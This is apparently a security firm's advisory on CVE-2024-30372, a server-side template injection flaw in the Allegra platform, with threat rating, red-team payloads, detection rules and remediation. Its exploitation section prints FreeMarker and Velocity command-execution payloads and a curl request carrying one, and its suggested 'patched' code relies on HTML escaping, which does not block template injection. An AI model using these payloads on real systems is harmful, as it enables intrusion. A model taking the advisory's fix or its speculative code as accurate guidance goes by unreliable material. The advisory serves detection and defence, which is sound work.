CVE-2024-30372

Executive Summary

CVE-2024-30372 is a critical Server-Side Template Injection (SSTI) vulnerability in Allegra, a project management and collaboration platform. The flaw resides in the getLinkText method, where user-supplied strings are processed by a template engine without proper validation. An authenticated attacker can inject malicious template directives, leading to remote code execution (RCE) in the context of the LOCAL SERVICE account. With a CVSS score of 8.8, this vulnerability poses a severe risk to confidentiality, integrity, and availability. No public proof-of-concept (PoC) or patch details are currently available, but the vulnerability has been disclosed via ZDI (ZDI-CAN-23609).

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the proprietary Allegra application, which is typically deployed as a standalone server or service.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Authentication required)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The combination of low attack complexity, network accessibility, and high impact makes this vulnerability highly attractive to attackers. The requirement for authentication slightly reduces the attack surface but does not mitigate the risk for internal or compromised accounts.

Deep Dive & Mechanics

The vulnerability is a classic Server-Side Template Injection (SSTI) in the getLinkText method of Allegra. SSTI occurs when user input is embedded into a template string and then processed by a template engine (e.g., FreeMarker, Velocity, Thymeleaf, or a custom engine). In this case, the application fails to sanitize or escape the user-supplied string before passing it to the template engine.

Attack Flow:

1. An authenticated attacker identifies an endpoint that calls getLinkText with user-controlled input.
2. The attacker crafts a payload containing template directives (e.g., ${7*7} for FreeMarker or #set($x=7*7)$x for Velocity).
3. The template engine evaluates the payload, executing arbitrary code or expressions.
4. The attacker escalates to full remote code execution, running commands in the context of the LOCAL SERVICE account.

Why LOCAL SERVICE? This is a low-privileged Windows service account, but it still allows code execution and potential lateral movement. The attacker may attempt to escalate privileges further.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. The vulnerable code likely resembles:

// Vulnerable: Direct concatenation of user input into template
String userInput = request.getParameter("linkText");
String template = "Hello, " + userInput + "!";
TemplateEngine engine = new TemplateEngine();
String result = engine.process(template);

A patched version would either:

• Sanitize user input by escaping template syntax.
• Use a secure template engine that disables code execution.
• Validate input against a whitelist of allowed characters.

// Patched: Escape user input before template processing
String userInput = request.getParameter("linkText");
String safeInput = StringEscapeUtils.escapeHtml(userInput);
String template = "Hello, " + safeInput + "!";
TemplateEngine engine = new TemplateEngine();
String result = engine.process(template);

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running Allegra instance (version unknown).
• Valid credentials for an authenticated user.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /someEndpoint?linkText=PAYLOAD).
2. Use a template engine-specific payload. For example, if Allegra uses FreeMarker:

   ${"freemarker.template.utility.Execute"?new()("whoami")}
   

3. Execute commands to enumerate the system, exfiltrate data, or pivot.

Example Payload (FreeMarker):

${"freemarker.template.utility.Execute"?new()("cmd /c whoami")}

Example Payload (Velocity):

#set($x = "whoami")
#set($y = $x.getClass().forName("java.lang.Runtime").getRuntime().exec($x))

Lab Setup:

• Deploy Allegra in a controlled environment (e.g., Docker or VM).
• Create a test user with low privileges.
• Use Burp Suite or curl to send crafted requests.

curl -X POST "http://target/allegra/endpoint" \
  -d "linkText=%24%7B%22freemarker.template.utility.Execute%22%3Fnew()(%22whoami%22)%7D" \
  -b "session=valid_session_cookie"

Blue Team (Defensive)

Detection:

• Monitor for unusual template syntax in HTTP parameters (e.g., ${, #{}, *{).
• Alert on processes spawned by the Allegra service (e.g., cmd.exe, powershell.exe).
• Use WAF rules to block SSTI payloads.

Hunting:

• Search logs for getLinkText calls with suspicious patterns.
• Correlate authentication events with subsequent command execution.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests containing ${ or #{} in parameters.
  • Outbound connections from the Allegra server to attacker-controlled IPs.
• Host:
  • Unusual processes running under the LOCAL SERVICE account (e.g., cmd.exe, powershell.exe).
  • New files created in C:\Windows\Temp or C:\ProgramData.
  • Modified registry keys for persistence.
• Logs:
  • Application logs showing template engine errors or unexpected output.
  • Windows Event ID 4688 (Process Creation) for suspicious processes.

Detection Engineering

YARA Rule

rule CVE_2024_30372_SSTI_Payload {
    meta:
        description = "Detects SSTI payloads targeting Allegra getLinkText"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-30372"
    strings:
        $ssti1 = "${" ascii wide nocase
        $ssti2 = "#{" ascii wide nocase
        $ssti3 = "*{" ascii wide nocase
        $ssti4 = "freemarker.template.utility.Execute" ascii wide nocase
        $ssti5 = "java.lang.Runtime" ascii wide nocase
    condition:
        any of ($ssti*)
}

Sigma Rule

title: CVE-2024-30372 SSTI Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with SSTI payloads targeting Allegra getLinkText
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '${'
            - '#{'
            - '*{'
            - 'freemarker.template.utility.Execute'
    condition: selection
falsepositives:
    - Legitimate use of template syntax in non-vulnerable contexts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30372 SSTI Exploitation Attempt"; flow:to_server; content:"${"; http_client_body; nocase; content:"freemarker.template.utility.Execute"; http_client_body; nocase; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected Allegra instances from untrusted networks.
2. Disable the getLinkText functionality if possible, or restrict access to trusted users only.
3. Monitor for suspicious activity using the provided detection rules.

Long-term Fix:

• Apply vendor patches as soon as they become available.
• Implement input validation and output encoding for all user-supplied data.
• Use a secure template engine that disables code execution by default.
• Conduct a security audit of the Allegra application.

Workarounds:

• Deploy a Web Application Firewall (WAF) with rules to block SSTI payloads.
• Enforce strict authentication and least privilege for all users.

Valters IT
Securing Digital Frontiers